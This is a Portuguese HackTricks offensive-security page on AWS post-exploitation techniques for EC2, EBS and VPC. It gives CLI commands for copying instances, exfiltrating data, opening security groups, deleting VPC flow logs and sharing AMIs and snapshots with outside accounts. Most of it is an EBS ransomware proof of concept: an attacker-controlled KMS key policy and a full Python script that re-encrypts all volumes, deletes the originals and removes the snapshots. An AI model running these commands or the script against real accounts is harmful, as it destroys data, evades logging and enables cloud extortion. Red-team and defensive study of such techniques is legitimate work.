AWS - EC2, EBS, SSM & VPC Post Exploitation

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

EC2 & VPC

Para mais informações, verifique:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Espelhamento Malicioso de VPC - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

O espelhamento de tráfego da VPC duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC sem a necessidade de instalar qualquer coisa nas próprias instâncias. Esse tráfego duplicado geralmente seria enviado para algo como um sistema de detecção de intrusões de rede (IDS) para análise e monitoramento. Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis dele:

Para mais informações, consulte esta página:

pageAWS - Malicious VPC Mirror

Copiar Instância em Execução

As instâncias geralmente contêm algum tipo de informação sensível. Existem diferentes maneiras de acessá-las (verifique trapaças de escalonamento de privilégios do EC2). No entanto, outra maneira de verificar o que ela contém é criar uma AMI e executar uma nova instância (mesmo em sua própria conta) a partir dela:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

Despejo de Snapshot do EBS

Os snapshots são backups de volumes, que geralmente contêm informações sensíveis, portanto, verificá-los deve revelar essas informações. Se você encontrar um volume sem um snapshot, você poderia: Criar um snapshot e realizar as seguintes ações ou simplesmente montá-lo em uma instância dentro da conta:

pageAWS - EBS Snapshot Dump

Exfiltração de Dados

Exfiltração via DNS

Mesmo que você restrinja um EC2 para que nenhum tráfego possa sair, ainda é possível exfiltrar via DNS.

  • Os registros de fluxo da VPC não registrarão isso.

  • Você não tem acesso aos logs de DNS da AWS.

  • Desative isso definindo "enableDnsSupport" como falso com:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltração via chamadas de API

Um atacante poderia chamar endpoints de API de uma conta controlada por ele. O Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.

Grupo de Segurança Aberto

Você poderia obter acesso adicional a serviços de rede abrindo portas como esta:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Elevação de privilégios para ECS

É possível executar uma instância EC2 e registrá-la para ser usada para executar instâncias ECS e, em seguida, roubar os dados das instâncias ECS.

Para mais informações, verifique isso.

Remover logs de fluxo da VPC

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

Compartilhar AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Compartilhar Snapshot do EBS

```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### PoC de Ransomware EBS

Uma prova de conceito semelhante à demonstração de Ransomware demonstrada nas notas de pós-exploração do S3. KMS deve ser renomeado para RMS para Ransomware Management Service com o quão fácil é usá-lo para criptografar vários serviços da AWS.

Primeiro, de uma conta AWS 'atacante', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo, vamos apenas deixar a AWS gerenciar os dados da chave para mim, mas em um cenário realista, um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a política da chave para permitir que qualquer Principal de conta AWS use a chave. Para esta política de chave, o nome da conta era 'AttackSim' e a regra da política permitindo todo o acesso é chamada 'Outside Encryption'.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

A regra de política-chave precisa do seguinte habilitado para permitir a capacidade de usá-la para criptografar um volume EBS:

  • kms:CreateGrant

  • kms:Decrypt

  • kms:DescribeKey

  • kms:GenerateDataKeyWithoutPlainText

  • kms:ReEncrypt

Agora, com a chave publicamente acessível para uso. Podemos usar uma conta 'vítima' que possui algumas instâncias EC2 iniciadas com volumes EBS não criptografados anexados. Os volumes EBS desta conta 'vítima' são o alvo para criptografia, este ataque é sob a violação presumida de uma conta AWS de alto privilégio.

Isso resulta apenas em volumes EBS criptografados disponíveis na conta.

Também vale ressaltar que o script parou as instâncias EC2 para desanexar e excluir os volumes EBS originais. Os volumes originais não criptografados agora desapareceram.

Em seguida, retorne à política da chave na conta 'atacante' e remova a regra de política 'Outside Encryption' da política da chave.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Aguarde um momento para a nova política de chave ser propagada. Em seguida, retorne para a conta 'vítima' e tente anexar um dos volumes EBS recém-criptografados. Você verá que é possível anexar o volume.

No entanto, ao tentar iniciar a instância EC2 de volta com o volume EBS criptografado, ela falhará e voltará do estado 'pendente' para o estado 'parado' para sempre, pois o volume EBS anexado não pode ser descriptografado usando a chave, uma vez que a política da chave não permite mais isso.

Este é o script em Python usado. Ele requer credenciais da AWS para uma conta 'vítima' e um valor ARN da AWS publicamente disponível para a chave a ser usada para criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, em seguida, irá parar todas as instâncias EC2, desanexar os volumes EBS originais, excluí-los e, finalmente, excluir todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT APENAS EM UM AMBIENTE DE TESTE, ELE É DESTRUTIVO E EXCLUIRÁ TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los para seu estado original via snapshots, mas apenas para deixá-lo ciente de que este é um PoC de ransomware no final do dia.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización